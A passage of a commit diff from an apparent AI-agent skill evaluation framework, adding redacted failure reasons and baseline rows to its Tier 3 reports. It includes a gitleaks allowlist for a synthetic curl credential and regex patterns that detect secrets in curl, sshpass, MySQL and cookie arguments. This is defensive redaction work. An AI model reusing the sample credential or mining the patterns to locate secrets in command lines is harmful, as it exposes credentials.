Skip to content

Multi-tier framework for evaluating AI agent skills and plugins with quality gates, security scanning, harness compatibility checks, semantic overlap detection, synthetic evaluation dataset generation, and live agent evaluation that measures how skills affect agent behavior. Ships reusable CI templates that bring every check to any repository.

fix(tier3): explain failing scores and show baseline trial rows (#305)

Narendran Raghavane8f2a1deb37a
diff --git a/.gitleaks.toml b/.gitleaks.toml
index cbcd16fb..7c8207fd 100644
--- a/.gitleaks.toml
+++ b/.gitleaks.toml
@@ -65,3 +65,10 @@ condition = "AND"
targetRules = ["generic-api-key"]
regexes = ['''^0123456789abcdef0123456789abcdef$''']
paths = ['''^tests/tier3/test_(private_runtime_regressions|native_mcp_policy)\.py$''']
+
+[[allowlists]]
+description = "Synthetic curl basic-auth credential used by grader reason redaction tests"
+condition = "AND"
+targetRules = ["curl-auth-user"]
+regexes = ['''^admin:hunter2hunter2$''']
+paths = ['''^tests/reporting/test_tier3_failure_reasons\.py$''']
diff --git a/CHANGELOG.md b/CHANGELOG.md
index cdff2247..74610542 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -377,6 +377,14 @@ All notable changes to SkillEvaluator are documented in this file.
JSON `skills[].issue_count`, contributor totals, `total_errors`,
`total_warnings` and `severity_counts` still count raw records.
+- The Tier 3 per-evaluator drill-down and steps chart now include baseline
+ (without-skill) trials. The drill-down adds a Condition column and shows
+ metrics that only baseline rows scored; the steps chart plots one series per
+ agent and condition from every trial, for up to 200 eval cases. Cases with
+ missing or partial step telemetry stay gaps instead of zeros or partial
+ averages. The token chart remains with-skill only; Measured Agent Resources
+ compares token totals across both arms.
+
- Tier 3 `accuracy` grades the outcome only. The `SKILL_IDENTIFIED` criterion,
which capped a correct answer from the no-skill baseline at 0.8 on positive
cases, is replaced by `FORMAT_FOLLOWED`: the response follows any output
@@ -1046,6 +1054,22 @@ All notable changes to SkillEvaluator are documented in this file.
the Tier 3 judge, an object with a repeated key, a `NaN` or `Infinity` value,
a number that overflows a float or more than 128 levels of nesting is
rejected, whether it is the whole reply or embedded in prose.
+- Tier 3 HTML reports now explain failing evaluator scores. A failing
+ evaluator card opens its per-trial evidence, shows the grader's reason
+ (or, when the grader recorded none, its message, findings, or failed
+ criteria), and quotes a short excerpt of the offending command or artifact.
+ A failing cell in the per-evaluator drill-down shows the reason as a
+ tooltip. When attempts of one case disagree, the card shows the
+ lowest-scoring attempt's reason, so a passing attempt no longer hides a
+ failure. Grader reasons and excerpts are credential-redacted, including
+ the values of configured credential environment variables. Criteria the
+ grader excluded from the score are not listed as failed. Drill-down
+ reasons and excerpts are capped at 240 and 300 characters, and
+ secret-detector findings never quote their detection pattern back.
+ Large reports drop these reasons before any other detail, so they never
+ displace the HTML overview or recorded evidence.
+- The Tier 3 HTML size notice no longer prints `<built-in method items ...>`
+ in place of the number of items the preview omitted.
- Ctrl+C during `tier3 evaluate` now stops the run. The interrupt reached only
the coordinating thread, so running Harbor jobs kept going in their own
process groups, agents waiting for a `--max-agents` slot still started, and
diff --git a/docs/reports.mdx b/docs/reports.mdx
index 5c5c3c45..2c3bc263 100644
--- a/docs/reports.mdx
+++ b/docs/reports.mdx
@@ -535,6 +535,45 @@ and incomplete arms produce null totals or deltas (`N/A` in HTML). Resource
deltas require matching case counts and complete measurements in both arms;
they do not measure evaluator tokens, setup time, price, or statistical savings.
+### Failure reasons and per-trial rows
+
+Each evaluator card lists its per-trial evidence by eval case with the
+grader's reason, and a failing card (with-skill score below 0.60) opens the
+list. A case that scored below 0.80 also quotes a short excerpt of the
+offending command or artifact when the grader recorded one. When the attempts
+of one case disagree, the lowest-scoring attempt's reason is shown. In the
+**Per-Evaluator Drill-Down** table, hover a dotted-underlined score below 0.80
+to read the reason for that trial.
+
+Reasons are built from each trial's `reward.json` `details`, joining up to
+three distinct parts from the grader's `reason` or `message`, failing findings
+and behavior results, failed rubric criteria (except criteria the grader
+excluded from the score), failed named checks, and the security attribution
+note. The report redacts the values of configured credential environment
+variables and recognizable credential patterns in reasons and excerpts, keeping
+line breaks so a masked `key: value` pair ends at its line. It caps drill-down
+reasons at 240 characters and excerpts at 300.
+Secret detectors record their pattern rather than the matched text, so their
+findings show a reason but no excerpt.
+
+Reasons and excerpts are the first details dropped when a report is large. The
+HTML page adds them only while its data stays within the page's preview limit
+and says how many it left out, so they never displace the overview, dimension
+scores or evaluator cards. The JSON download keeps them unless the embedded
+payload reaches its 2 MiB limit; it then drops them before any other detail
+and records the count as `failure_reasons` under `report_truncation.omitted`.
+
+The drill-down has one row per trial for each agent and condition, with a
+**Condition** column (`With skill` or `Without skill`); baseline rows are
+listed even when they have no matching with-skill case, and a metric only
+baseline rows scored still gets a column. When the HTML preview is bounded, it
+keeps 64 with-skill rows across all agents and 64 baseline rows per agent, and a
+note under the filter says how many rows it left out. The **Steps per Eval
+Case by Agent and Condition** chart plots one series per agent and condition
+from every trial, not only the rows the preview keeps, for up to 200 eval
+cases; a note says how many more cases the JSON download holds. A case with
+missing or partial step telemetry is a gap, not a zero.
+
### pass@k
pass@k is the reliability signal, reported separately from the dimension
diff --git a/src/skillevaluator/evaluation/tier3_findings.py b/src/skillevaluator/evaluation/tier3_findings.py
new file mode 100644
index 00000000..740082e7
--- /dev/null
+++ b/src/skillevaluator/evaluation/tier3_findings.py
@@ -0,0 +1,299 @@
+# SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved.
+# SPDX-License-Identifier: Apache-2.0
+
+"""Bounded failure reasons for Tier 3 evaluator scores.
+
+Harbor graders record why a metric failed in ``reward["details"][metric]``: a
+``reason`` or ``message`` string, per-finding ``message`` values, failing
+behavior results, failed rubric criteria, and short ``evidence`` excerpts. This
+module projects those details into the compact text the HTML report shows next
+to a failing score, so a ``0.00`` cell or evaluator card explains itself without
+opening the raw trajectory.
+
+Redaction and length caps happen here rather than in the template because the
+Tier 3 payload is embedded in every report, so unbounded grader text would both
+inflate the artifact and could carry credentials an agent echoed.
+"""
+
+from __future__ import annotations
+
+import re
+from collections.abc import Iterator
+from itertools import islice
+from typing import Any
+
+from skillevaluator.utils.redaction import redact_sensitive_text
+
+# A per-trial metric score below this gate carries a reason. It matches the
+# evaluator card's pass gate, so passing metrics add nothing to the payload.
+TRIAL_PASS_THRESHOLD = 0.8
+
+MAX_REASON_CHARS = 240
+MAX_EXCERPT_CHARS = 300
+_MAX_REASON_PARTS = 3
+# Grader detail lists and nested checks are scanned up to this many entries;
+# the first few failures already explain the score.
+_MAX_DETAIL_ITEMS = 64
+# At most this many candidate strings are redacted per metric. A reason keeps
+# three distinct parts, and redaction dominates report build time when a grader
+# records dozens of findings for every failing trial.
+_MAX_REASON_CANDIDATES = 8
+# Grader text is collapsed and clipped to this window before redaction so one
+# oversized string cannot stall report generation. The window is measured after
+# whitespace collapse, so padding cannot pull a credential cut at the window
+# edge into the much shorter visible prefix. It holds whole words only: a word
+# cut at the edge is dropped, because no redaction pass can match the prefix of
+# a credential, and redacting earlier text can pull that prefix into view.
+_MAX_SCAN_CHARS = 16_384
+# One character longer than the window, so a word that does not fit is never
+# mistaken for one that does.
+_WORD_RE = re.compile(rf"\S{{1,{_MAX_SCAN_CHARS + 1}}}")
+_LINE_BREAKS = ("\n", "\r")
+
+# Keys whose values are handled by a dedicated branch and must not be re-read by
+# the generic per-check sweep.
+_STRUCTURED_DETAIL_KEYS = frozenset({"findings", "results", "criteria"})
+
+# These findings store the detecting pattern or a fixed placeholder in
+# ``evidence`` rather than the matched text, so quoting it back explains nothing.
+_OPAQUE_EVIDENCE_TYPES = frozenset({"secret_leak", "secret_exposure"})
+
+# Evaluator-card evidence keys that hold text built here rather than recorded by
+# the grader. Trials carry theirs in ``score_reasons``.
+FAILURE_REASON_EVIDENCE_KEYS = ("reason", "excerpt")
+
+
+def _collapsed_prefix(value: str) -> str:
+ """Return the whole words of ``value`` that fit in ``_MAX_SCAN_CHARS``, whitespace collapsed.
+
+ A whitespace run that contains a line break becomes one ``\\n`` and any
+ other run one space. Line breaks stay because credential assignments such as
+ ``token: value`` end at the line: flattening them first would let redaction
+ mask the explanation on the next line too.
+ """
+ parts: list[str] = []
+ size = 0
+ end = 0
+ for match in _WORD_RE.finditer(value):
+ separator = ""
+ if parts:
+ gap = value[end : match.start()]
+ separator = "\n" if any(brk in gap for brk in _LINE_BREAKS) else " "
+ word = match.group()
+ size += len(separator) + len(word)
+ if size > _MAX_SCAN_CHARS:
+ break
+ parts.append(separator + word)
+ end = match.end()
+ return "".join(parts)
+
+
+# Command-line credentials, which the shared redaction does not know about
+# because it targets ``key=value`` pairs and recognizable token shapes. Grader
+# excerpts quote raw command lines, so the report masks these shapes itself.
+_CLI_VALUE = r"""(?:"[^"\r\n]*+"|'[^'\r\n]*+'|[^\s"'|;&]++)"""
+_CLI_USER_PASSWORD_RE = re.compile(rf"(?<![\w-])(?P<flag>-u|--user)(?P<sep>\s++|=)(?=[^\s]*:)(?P<value>{_CLI_VALUE})")
+_CLI_COOKIE_FLAG_RE = re.compile(rf"(?<![\w-])(?P<flag>-b)(?P<sep>\s++)(?=[^\s]*=)(?P<value>{_CLI_VALUE})")
+_CLI_SECRET_FLAG_RE = re.compile(
+ r"(?i)(?<![\w-])(?P<flag>--[a-z0-9-]*(?:password|passwd|passphrase|token|secret|api-?key|credential|cookie)"
+ rf"[a-z0-9-]*)(?P<sep>\s++|=)(?!-)(?P<value>{_CLI_VALUE})"
+)
+_CLI_SSHPASS_RE = re.compile(rf"(?<![\w-])(?P<flag>sshpass\s++-p\s*+)(?P<value>{_CLI_VALUE})")
+# ``-pSECRET`` is attached only for the MySQL family; elsewhere ``-p`` is a flag
+# such as ``mkdir -p``.
+_CLI_MYSQL_PASSWORD_RE = re.compile(
+ r"(?P<head>\b(?:mysql|mysqldump|mysqladmin|mysqlimport|mariadb|mariadb-dump)\b[^|;&\r\n]*?\s)-p(?P<value>[^\s|;&]++)"
+)
+_COOKIE_HEADER_RE = re.compile(r"(?i)\b(?P<key>(?:set-)?cookie)(?P<sep>\s*+:\s*+)[^\r\n\"']++")
+
+
+def _redact_command_line_credentials(text: str) -> str:
+ """Mask password, token and cookie arguments of quoted shell command lines."""
+ text = _CLI_USER_PASSWORD_RE.sub(r"\g<flag>\g<sep><redacted>", text)
+ text = _CLI_COOKIE_FLAG_RE.sub(r"\g<flag>\g<sep><redacted>", text)
+ text = _CLI_SECRET_FLAG_RE.sub(r"\g<flag>\g<sep><redacted>", text)
+ text = _CLI_SSHPASS_RE.sub(r"\g<flag><redacted>", text)
+ text = _CLI_MYSQL_PASSWORD_RE.sub(r"\g<head>-p<redacted>", text)
+ return _COOKIE_HEADER_RE.sub(r"\g<key>\g<sep><redacted>", text)
+
+
+def sanitize_grader_text(value: object, max_len: int | None = None) -> str:
+ """Collapse whitespace, redact credentials, and optionally clamp grader text.
+
+ Like the Tier 3 findings report, this redacts the exact values of configured
+ credentials first and then recognizable credential shapes. Line breaks are
+ kept (one per break) so a ``key: value`` assignment is masked only to the end
+ of its line; HTML renders them as spaces, and tooltips as line breaks.
+ """
+ # Imported here, like the other Tier 3 helpers of the report builders, so
+ # importing the reporters does not load the Harbor and judge modules.
+ from skillevaluator.tier3.eval_core.llm_judge import _redact_configured_credentials
+ from skillevaluator.tier3.eval_core.secret_redaction import redact_secrets_in_log_line
+
+ if not isinstance(value, str):
+ return ""
+ text = _collapsed_prefix(value)
+ if not text:
+ return ""
+ text = _redact_command_line_credentials(_redact_configured_credentials(text))
+ return redact_sensitive_text(redact_secrets_in_log_line(text), max_len=max_len)
+
+
+def _failed(entry: object) -> bool:
+ """True when a grader sub-result explicitly records a failure."""
+ if not isinstance(entry, dict):
+ return False
+ if entry.get("score_impact") is True:
+ return True
+ return entry.get("passed") is False
+
+
+def _detail_list(detail: dict[str, Any], key: str) -> list[Any]:
+ value = detail.get(key)
+ return list(islice(value, _MAX_DETAIL_ITEMS)) if isinstance(value, list) else []
+
+
+def _failed_check_reason(key: str, value: dict[str, Any]) -> str:
+ """Prefer a grader-written reason over the internal check key."""
+ for field in ("reason", "message"):
+ text = value.get(field)
+ if isinstance(text, str) and text.strip():
+ return text
+ label = key.replace("_", " ").replace("-", " ").strip()
+ if not label:
+ return "Check failed"
+ return f"{label[0].upper()}{label[1:]} failed"
+
+
+def _reason_candidates(detail: dict[str, Any], *, include_results: bool) -> Iterator[str]:
+ """Yield candidate reason strings across the known grader detail shapes."""
+ from skillevaluator.tier3.harbor.report import _applicable_accuracy_criteria
+
+ for field in ("reason", "message"):
+ if isinstance(detail.get(field), str):
+ yield detail[field]
+
+ for finding in _detail_list(detail, "findings"):
+ if isinstance(finding, str):
+ # Legacy and custom graders list findings as plain strings, which
+ # the terminal findings report also treats as failure reasons.
+ yield finding
+ elif _failed(finding):
+ # Like the terminal findings report, name the finding type when the
+ # grader wrote no message.
+ yield str(finding.get("message") or finding.get("reason") or finding.get("type") or "")
+
+ # behavior_check records one entry per expected behavior. Evaluator cards
+ # already list these as ``failures``, so they leave them out of the reason.
+ for result in _detail_list(detail, "results") if include_results else []:
+ if _failed(result):
+ yield str(result.get("reason") or "")
+
+ # Rubric graders record a bool per named criterion. Criteria the grader
+ # excluded from the score (such as skill identification when no skill is
+ # expected) did not fail it.
+ criteria = _applicable_accuracy_criteria(detail)
+ failed_criteria = sorted(
+ str(name)[:128] for name, passed in islice(criteria.items(), _MAX_DETAIL_ITEMS) if passed is False
+ )
+ if failed_criteria:
+ yield f"Failed criteria: {', '.join(failed_criteria)}"
+
+ # Other graders nest one dict per named check.
+ for key, value in islice(detail.items(), _MAX_DETAIL_ITEMS):
+ if key not in _STRUCTURED_DETAIL_KEYS and _failed(value):
+ yield _failed_check_reason(str(key)[:128], value)
+
+ # Attribution says whether the skill or the environment caused the failure,
+ # which is the first thing a reviewer asks after seeing the reason.
+ if isinstance(detail.get("attribution_explanation"), str):
+ yield detail["attribution_explanation"]
+
+
+def failure_reason(detail: object, *, include_results: bool = True) -> str:
+ """Return one short, deduplicated, redacted reason for a failing metric.
+
+ ``include_results=False`` leaves out failing behavior results, for evaluator
+ cards that already show them as ``failures``.
+ """
+ if not isinstance(detail, dict):
+ return ""
+ parts: list[str] = []
+ # Only non-blank candidates count toward the cap, so entries without text
+ # cannot crowd out the criteria, checks, or attribution that follow them.
+ candidates = (
+ candidate for candidate in _reason_candidates(detail, include_results=include_results) if candidate.strip()
+ )
+ for candidate in islice(candidates, _MAX_REASON_CANDIDATES):
+ cleaned = sanitize_grader_text(candidate)
+ if cleaned and cleaned not in parts:
+ parts.append(cleaned)
+ if len(parts) >= _MAX_REASON_PARTS:
+ break
+ # The parts are already redacted, so clipping them before the final pass
+ # cannot expose a credential, and the final pass stays short.
+ return sanitize_grader_text("; ".join(parts)[: 4 * MAX_REASON_CHARS], MAX_REASON_CHARS)
+
+
+def failure_excerpt(detail: object) -> str:
+ """Return a short, redacted excerpt of the artifact that triggered the failure."""
+ if not isinstance(detail, dict):
+ return ""
+ for finding in _detail_list(detail, "findings"):
+ if not _failed(finding) or finding.get("type") in _OPAQUE_EVIDENCE_TYPES:
+ continue
+ excerpt = sanitize_grader_text(finding.get("evidence"), MAX_EXCERPT_CHARS)
+ if excerpt:
+ return excerpt
+ return sanitize_grader_text(detail.get("evidence"), MAX_EXCERPT_CHARS)
+
+
+def failure_reason_text_slots(
+ payload: dict[str, Any],
+ *,
+ include_top_level_cards: bool = True,
+) -> Iterator[tuple[dict[str, Any], str]]:
+ """Yield each ``(container, key)`` that holds a built failure reason or excerpt.
+
+ Order follows the report: evaluator-card evidence per agent, then the
+ drill-down rows (with-skill rows of an agent, then its baseline rows), then
+ the top-level card copy, which the HTML page does not render
+ (``include_top_level_cards=False`` leaves it out). Size limits drop these
+ first and the HTML preview restores them in this order while room remains.
+ """
+ agents = payload.get("agents") if isinstance(payload.get("agents"), dict) else {}
+ agent_items = [(str(name), agent) for name, agent in agents.items() if isinstance(agent, dict)]
+
+ def card_slots(cards: object) -> Iterator[tuple[dict[str, Any], str]]:
+ for card in cards if isinstance(cards, list) else []:
+ evidence = card.get("evidence") if isinstance(card, dict) else None
+ for entry in evidence if isinstance(evidence, list) else []:
+ if isinstance(entry, dict):
+ for key in FAILURE_REASON_EVIDENCE_KEYS:
+ if key in entry:
+ yield entry, key
+
+ for _name, agent in agent_items:
+ yield from card_slots(agent.get("evaluator_cards"))
+ trials = payload.get("trials") if isinstance(payload.get("trials"), list) else []
+ trials_by_agent: dict[str, list[dict[str, Any]]] = {}
+ for trial in trials:
+ if isinstance(trial, dict):
+ trials_by_agent.setdefault(str(trial.get("agent") or ""), []).append(trial)
+ for name, agent in [*agent_items, *((name, {}) for name in trials_by_agent if name not in agents)]:
+ baseline = agent.get("trials_baseline") if isinstance(agent.get("trials_baseline"), list) else []
+ for trial in [*trials_by_agent.get(name, []), *baseline]:
+ if isinstance(trial, dict) and "score_reasons" in trial:
+ yield trial, "score_reasons"
+ if include_top_level_cards:
+ yield from card_slots(payload.get("evaluator_cards"))
+
+
+def strip_failure_reason_text(payload: dict[str, Any]) -> int:
+ """Remove built failure reasons and excerpts in place; return how many were removed."""
+ removed = 0
+ for container, key in list(failure_reason_text_slots(payload)):
+ # The top-level card copy can share entries with the best agent's cards.
+ if container.pop(key, None) is not None:
+ removed += 1
+ return removed
diff --git a/src/skillevaluator/evaluation/tier3_report.py b/src/skillevaluator/evaluation/tier3_report.py
index 695851aa..ed884a87 100644
--- a/src/skillevaluator/evaluation/tier3_report.py
+++ b/src/skillevaluator/evaluation/tier3_report.py
@@ -39,6 +39,13 @@ from skillevaluator.constants import (
TIER3_LIFT_FAIL_THRESHOLD,
TIER3_LIFT_PASS_THRESHOLD,
)
+from skillevaluator.evaluation.tier3_findings import (
+ TRIAL_PASS_THRESHOLD,
+ failure_excerpt,
+ failure_reason,
+ sanitize_grader_text,
+ strip_failure_reason_text,
+)
from skillevaluator.evidence import evidence_ref_identity
from skillevaluator.models.result import Finding, Severity, ValidationResult
from skillevaluator.source_identity import resolve_evaluated_source
@@ -838,6 +845,11 @@ def build_agent_eval_payload(
metric_ids = list(best.get("evaluators", {}).keys())
metric_labels = _metric_labels(metric_ids)
canonical_trials = _flatten_trials(agent_payloads)
+ # The drill-down reads with-skill reasons from the flattened trials and
+ # baseline reasons from ``trials_baseline``, so keep one copy of each.
+ for agent in agent_payloads.values():
+ for trial in agent.get("trials", []):
+ trial.pop("score_reasons", None)
public_dataset = deduplicate_dataset_entries([entry for entry in (dataset or []) if isinstance(entry, dict)])
computed_dataset_truth = (
build_dataset_snapshot(public_dataset, evaluator_version=evaluator_version or "") if public_dataset else None
@@ -1352,6 +1364,13 @@ def _enforce_report_payload_budget(
if not enforce_size or _serialized_payload_size(payload) <= _MAX_EMBEDDED_REPORT_BYTES:
return
+ # Built failure reasons and excerpts only explain scores the payload already
+ # carries, so they go before any recorded evidence.
+ report_budget.omit("failure_reasons", strip_failure_reason_text(payload))
+ refresh_signal()
+ if _serialized_payload_size(payload) <= _MAX_EMBEDDED_REPORT_BYTES:
+ return
+
provenance = payload.get("provenance")
if isinstance(provenance, dict):
comparison = provenance.get("comparison")
@@ -2483,6 +2502,24 @@ def _bounded_custom_metric_names(
return names, False
+def _metric_detail(reward: dict[str, Any], metric: str) -> dict[str, Any] | None:
+ """Return the grader detail that explains one metric score in ``reward``."""
+ from skillevaluator.tier3.harbor.metrics import DEFAULT_METRICS
+
+ custom_details = reward.get("custom_details")
+ custom_detail_is_authoritative = (
+ metric not in DEFAULT_METRICS and isinstance(custom_details, dict) and metric in custom_details
+ )
+ if custom_detail_is_authoritative:
+ detail = custom_details[metric]
+ else:
+ details = reward.get("details")
+ detail = details.get(metric) if isinstance(details, dict) else None
+ if not isinstance(detail, dict):
+ detail = custom_details.get(metric) if isinstance(custom_details, dict) else None
+ return detail if isinstance(detail, dict) else None
+
+
def _metric_evidence(
metric: str,
rewards: list[dict[str, Any]],
@@ -2510,28 +2547,19 @@ def _metric_evidence(
continue
if metric in DEFAULT_METRICS and metric not in metric_set_for_reward(reward)[1]:
continue
- custom_details = reward.get("custom_details")
- custom_detail_is_authoritative = (
- metric not in DEFAULT_METRICS and isinstance(custom_details, dict) and metric in custom_details
- )
- if custom_detail_is_authoritative:
- detail = custom_details[metric]
- else:
- details = reward.get("details")
- detail = details.get(metric) if isinstance(details, dict) else None
- if not isinstance(detail, dict):
- detail = custom_details.get(metric) if isinstance(custom_details, dict) else None
- if not isinstance(detail, dict):
+ detail = _metric_detail(reward, metric)
+ if detail is None:
continue
raw_score = _finite_float(reward.get(metric))
if raw_score is None:
raw_score = _custom_metric_value(reward, metric)
+ score_failed = raw_score is not None and raw_score < TRIAL_PASS_THRESHOLD
notes: list[str] = []
- reason = detail.get("reason")
- if isinstance(reason, str) and reason.strip():
- notes.append(reason.strip()[:512])
+ reason = sanitize_grader_text(detail.get("reason"))
+ if reason:
+ notes.append(reason[:512])
failures: list[str] = []
results = detail.get("results")
@@ -2539,9 +2567,9 @@ def _metric_evidence(
for result in results:
if not isinstance(result, dict) or result.get("passed") is not False:
continue
- failure = result.get("reason")
- if isinstance(failure, str) and failure.strip():
- failures.append(failure.strip()[:512])
+ failure = sanitize_grader_text(result.get("reason"))
+ if failure:
+ failures.append(failure[:512])
if len(failures) == 3:
break
@@ -2558,6 +2586,9 @@ def _metric_evidence(
"checks": checks,
"evidence_refs": _compact_evidence_refs(detail.get("evidence_refs")),
}
+ # The built reason and excerpt are not part of the fingerprint: attempts
+ # of one case often quote different commands under the same grader
+ # reason, and they still collapse into one entry with ``occurrences``.
fingerprint = json.dumps(
entry,
sort_keys=True,
@@ -2575,6 +2606,15 @@ def _metric_evidence(
report_budget.omit("evidence_entries")
output_truncated = True
continue
+ if score_failed:
+ # Graders that record only a message, findings, or failed criteria
+ # still explain a failing score. The built reason stays separate from
+ # the grader's own notes so size limits can drop it first, and leaves
+ # out failing results, which the card already lists as ``failures``.
+ if not notes and (fallback_reason := failure_reason(detail, include_results=False)):
+ entry["reason"] = fallback_reason
+ if excerpt := failure_excerpt(detail):
+ entry["excerpt"] = excerpt
evidence.append(entry)
by_fingerprint[fingerprint] = entry
report_budget.evidence_remaining -= 1
@@ -2881,6 +2921,10 @@ def _normalize_trials(rewards: list[dict[str, Any]], metrics: list[str]) -> list
from skillevaluator.tier3.harbor.metrics import not_applicable_metrics
trial["not_applicable_metrics"] = not_applicable_metrics(group, metrics)
+ # One extraction point for the drill-down tooltips of both arms.
+ score_reasons = _trial_score_reasons(standard_rows, scores)
+ if score_reasons:
+ trial["score_reasons"] = score_reasons
seconds = _finite_float(reward.get("_agent_seconds"))
if not is_multi_row and seconds is not None and seconds >= 0:
trial["agent_seconds"] = seconds
@@ -2927,6 +2971,37 @@ def _normalize_trials(rewards: list[dict[str, Any]], metrics: list[str]) -> list
return out
+def _trial_score_reasons(
+ rows: list[tuple[dict[str, Any], tuple[str, ...]]],
+ scores: dict[str, float],
+) -> dict[str, str]:
+ """Return one bounded grader reason per failing metric of a logical trial.
+
+ A logical trial can span several reward rows. The reason comes from the
+ lowest-scoring row that explains the metric, so a passing row cannot hide a
+ failure behind the averaged score.
+ """
+ from skillevaluator.tier3.harbor.metrics import metric_value
+
+ reasons: dict[str, str] = {}
+ for metric in scores:
+ lowest: tuple[float, str] | None = None
+ for row, row_metrics in rows:
+ if metric not in row_metrics:
+ continue
+ row_score = metric_value(row, metric)
+ if row_score is None or row_score >= TRIAL_PASS_THRESHOLD:
+ continue
+ if lowest is not None and row_score >= lowest[0]:
+ continue
+ reason = failure_reason(_metric_detail(row, metric))
+ if reason:
+ lowest = (row_score, reason)
+ if lowest is not None:
+ reasons[metric] = lowest[1]
+ return reasons
+
+
def _attach_baseline_pairs(
trials: list[dict[str, Any]],
baseline_trials: list[dict[str, Any]],
diff --git a/src/skillevaluator/reporting/dashboard_data.py b/src/skillevaluator/reporting/dashboard_data.py
index 65d4db03..1018eef1 100644
--- a/src/skillevaluator/reporting/dashboard_data.py
+++ b/src/skillevaluator/reporting/dashboard_data.py
@@ -139,6 +139,7 @@ def _trial_coverage_truncated(marker: dict[str, Any]) -> bool:
"insight_items",
"custom_metric_discovery_trials",
"non_best_agent_details",
+ "failure_reasons",
}
if not omitted:
return not loading # an unexplained truncation still fails closed
diff --git a/src/skillevaluator/reporting/html.py b/src/skillevaluator/reporting/html.py
index 69db644f..ae56d947 100644
--- a/src/skillevaluator/reporting/html.py
+++ b/src/skillevaluator/reporting/html.py
@@ -83,6 +83,7 @@ from skillevaluator.reporting.harbor_viewer import normalize_agent_eval_harbor_l
from skillevaluator.reporting.presentation import success_is_not_applicable
from skillevaluator.reporting.run_status import Status, resolve_run_status, result_status
from skillevaluator.reporting.tier3_scope import completed_agent_result, validate_report_scope
+from skillevaluator.reporting.trial_charts import steps_by_case_chart
from skillevaluator.skillspector_provenance import skillspector_provenance_records
if TYPE_CHECKING:
@@ -458,6 +459,25 @@ def _score_mapping(
return scores
+def _tier3_score_reasons(value: object) -> dict[str, str]:
+ """Keep per-metric reasons keyed like ``_score_mapping`` so each matches its score cell."""
+ if not isinstance(value, dict):
+ return {}
+ reasons: dict[str, str] = {}
+ seen: set[str] = set()
+ for key, reason in value.items():
+ identifier = _tier3_display_identifier(key)
+ identity_key = identifier.casefold()
+ if not identifier:
+ continue
+ if identity_key in seen:
+ return {}
+ seen.add(identity_key)
+ if isinstance(reason, str) and reason:
+ reasons[identifier] = reason
+ return reasons
+
+
def _tier3_text_mapping(value: object) -> dict[str, str]:
"""Normalize public label maps without silently overwriting aliases."""
if not isinstance(value, dict):
@@ -773,6 +793,8 @@ def _sanitize_tier3_pass_at_k(value: object) -> dict[str, Any]:
def _sanitize_tier3_evaluator_card(value: dict[str, Any]) -> dict[str, Any] | None:
+ from skillevaluator.evaluation.tier3_findings import FAILURE_REASON_EVIDENCE_KEYS
+
card = dict(value)
card["with_skill"] = _finite_number(card.get("with_skill"), minimum=0.0, maximum=1.0)
if card["with_skill"] is None:
@@ -791,6 +813,9 @@ def _sanitize_tier3_evaluator_card(value: dict[str, Any]) -> dict[str, Any] | No
entry["score"] = _finite_number(entry.get("score"), minimum=0.0, maximum=1.0)
for key in ("notes", "failures", "checks", "evidence_refs"):
entry[key] = _string_list(entry.get(key))
+ for key in FAILURE_REASON_EVIDENCE_KEYS:
+ if not (isinstance(entry.get(key), str) and entry[key]):
+ entry.pop(key, None)
evidence.append(entry)
card["evidence"] = evidence
sampling = card.get("evidence_sampling") if isinstance(card.get("evidence_sampling"), dict) else {}
@@ -833,6 +858,13 @@ def _sanitize_tier3_agent(value: dict[str, Any]) -> dict[str, Any]:
]
agent["findings"] = [_sanitize_tier3_dimension(item) for item in _dict_list(agent.get("findings"))]
agent["pass_at_k"] = _sanitize_tier3_pass_at_k(agent.get("pass_at_k"))
+ # The drill-down and steps chart render baseline rows from
+ # ``trials_baseline`` (with-skill rows come from the top-level trials), so
+ # those rows get the same render-time bounds as with-skill rows.
+ if "trials_baseline" in agent:
+ agent["trials_baseline"] = [
+ _sanitize_tier3_trial(item, fill_defaults=False) for item in _dict_list(agent.get("trials_baseline"))
+ ]
return agent
@@ -877,14 +909,25 @@ def _scrub_untrusted_tier3_agents(value: object) -> dict[str, dict[str, Any]]:
return agents
-def _sanitize_tier3_trial(value: dict[str, Any]) -> dict[str, Any]:
+def _sanitize_tier3_trial(value: dict[str, Any], *, fill_defaults: bool = True) -> dict[str, Any]:
+ """Bound the trial fields the template renders.
+
+ With ``fill_defaults=False`` (baseline rows), optional fields are normalized
+ only when present, so the embedded payload does not grow by empty defaults
+ on every row.
+ """
trial = dict(value)
for key in ("agent", "entry_id", "trial_id"):
- trial[key] = _tier3_display_identifier(trial.get(key))
+ if fill_defaults or key in trial:
+ trial[key] = _tier3_display_identifier(trial.get(key))
trial["overall"] = _finite_number(trial.get("overall"), minimum=0.0, maximum=1.0)
trial["scores"] = _score_mapping(trial.get("scores"))
- trial["baseline_scores"] = _score_mapping(trial.get("baseline_scores"))
- trial["lift_scores"] = _score_mapping(trial.get("lift_scores"), minimum=-1.0, maximum=1.0)
+ for key, minimum in (("baseline_scores", 0.0), ("lift_scores", -1.0)):
+ if fill_defaults or key in trial:
+ trial[key] = _score_mapping(trial.get(key), minimum=minimum, maximum=1.0)
+ score_reasons = _tier3_score_reasons(trial.pop("score_reasons", None))
+ if score_reasons:
+ trial["score_reasons"] = score_reasons
# Unavailable telemetry stays absent rather than becoming zero, so the
# template can omit charts and show "—" instead of reporting no usage.
raw_tokens = trial.pop("tokens", None)
@@ -899,10 +942,12 @@ def _sanitize_tier3_trial(value: dict[str, Any]) -> dict[str, Any]:
steps = _strict_nonnegative_count(trial.pop("steps", None))
if steps is not None:
trial["steps"] = steps
- trial["warnings"] = _string_list(trial.get("warnings"))
- recovery = trial.get("error_recovery") if isinstance(trial.get("error_recovery"), dict) else {}
- recovery["details"] = _string_list(recovery.get("details"))
- trial["error_recovery"] = recovery
+ if fill_defaults or "warnings" in trial:
+ trial["warnings"] = _string_list(trial.get("warnings"))
+ if fill_defaults or "error_recovery" in trial:
+ recovery = trial.get("error_recovery") if isinstance(trial.get("error_recovery"), dict) else {}
+ recovery["details"] = _string_list(recovery.get("details"))
+ trial["error_recovery"] = recovery
return trial
@@ -1165,18 +1210,76 @@ def _bounded_tier3_preview_value(value: Any, budget: _Tier3PreviewBudget) -> Any
return value
+def _restore_failure_reason_text(deferred: list[tuple[dict[str, Any], str, Any]], room: int) -> int:
+ """Put deferred failure reasons back while ``room`` bytes remain; return how many stay out."""
+ omitted = 0
+ for container, key, value in deferred:
+ # Key, colon, value and separating comma in compact JSON.
